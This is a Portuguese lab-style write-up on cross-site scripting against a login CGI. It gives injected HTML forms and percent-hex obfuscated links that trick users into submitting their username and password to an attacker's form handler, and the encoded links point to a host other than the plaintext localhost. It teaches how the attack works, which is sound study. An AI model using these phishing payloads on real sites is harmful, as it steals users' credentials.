Preparação:
Introduzir no campo "username" o seguinte código
<form action="http://localhost/~fireman/cgi-bin/save-form.cgi" method="post"> <p>Por favor, reintroduza</p> Username:<br> <input type="text" name="user"/><br> Password:<br> <input type="password" name="pass"/><br> <input type="submit" value="Login"/> </form>No lugar da apresentação do "username" inválido aparecerá um formulário a pedir a reintrodução dos dados, mas este formulário é simulado para conseguir obter os dados confidenciais do utilizador.
Concretização:
O atacante necessita apenas de convencer o utilizador a seguir um link com a seguinte estrutura
http://localhost/~fireman/cgi-bin/login1.cgi?user= <form action="http://localhost/~fireman/cgi-bin/save-form.cgi" method="post"> <p>Por favor, reintroduza</p>Username:<br><input type="text" name="user"/><br>Password:<br> <input type="password" name="pass"/><br><input type="submit" value="Login"/></form>Para prevenir que o utilizador possa perceber a semântica do ataque no link é possível usar os códigos hexadecimais para esconder isso
http://localhost/~fireman/cgi-bin/login1.cgi?user= %3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%6D%65%67%61%2E %69%73%74%2E%75%74%6C%2E%70%74%2F%7E%6E%66%64%73%2F%63%67%69%2D%62%69%6E%2F%73 %61%76%65%2D%66%6F%72%6D%2E%63%67%69%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74 %22%3E%3C%70%3E%50%6F%72%20%66%61%76%6F%72%2C%20%72%65%69%6E%74%72%6F%64%75%7A %61%3C%2F%70%3E%55%73%65%72%6E%61%6D%65%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74 %79%70%65%3D%22%74%65%78%74%22%20%6E%61%6D%65%3D%22%75%73%65%72%22%2F%3E%3C%62 %72%3E%50%61%73%73%77%6F%72%64%3A%3C%62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65 %3D%22%70%61%73%73%77%6F%72%64%22%20%6E%61%6D%65%3D%22%70%61%73%73%22%2F%3E%3C %62%72%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%73%75%62%6D%69%74%22%20%76%61 %6C%75%65%3D%22%4C%6F%67%69%6E%22%2F%3E%3C%2F%66%6F%72%6D%3E
Preparação:
Introduzir no campo "username" o seguinte código
</form><form action="http://localhost/~fireman/cgi-bin/save-form.cgi" method="post">Este código permitirá que o formulário existente para reintrodução dos dados deixe de ficar associado à sua acção de "login" para passar a ficar associado a uma acção maliciosa de registo dos dados inseridos num ficheiro do atacante.
Concretização:
O atacante necessita apenas de convencer o utilizador a seguir um link com a seguinte estrutura
http://localhost/~fireman/cgi-bin/login2.cgi?user= </form><form action="http://localhost/~fireman/cgi-bin/save-form.cgi" method="post">Tal como no exemplo anterior, para prevenir que o utilizador possa perceber a semântica do ataque no link é possível usar os códigos hexadecimais para esconder isso
http://localhost/~fireman/cgi-bin/login2.cgi?user= %3C%2F%66%6F%72%6D%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%6D %65%67%61%2E%69%73%74%2E%75%74%6C%2E%70%74%2F%7E%6E%66%64%73%2F%63%67%69%2D%62%69%6E%2F %73%61%76%65%2D%66%6F%72%6D%2E%63%67%69%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E
Exemplo1
Um utilizador atento e consciente reparará no tamanho abusivo do link e perceberá que poderá haver algo de errado. Isso porque este
ataque requer a criação de um formulário de reintrodução de dados, daí o seu exagerado tamanho. No entanto, muitos ataques de Cross-Site
Scripting são menos extensos necessitando de poucos caracteres para surtirem efeito.
Exemplo2
O mesmo efeito que o exemplo anterior é conseguido, desta vez à custa da existência na própria página atacada de um formulário de
autenticação para a reintrodução dos dados para o "login". Desta maneira não só o link se torna menos denunciador do ataque como nada é
acrescentado à página, sendo todos os elementos visíveis parte integrante do "site" atacado.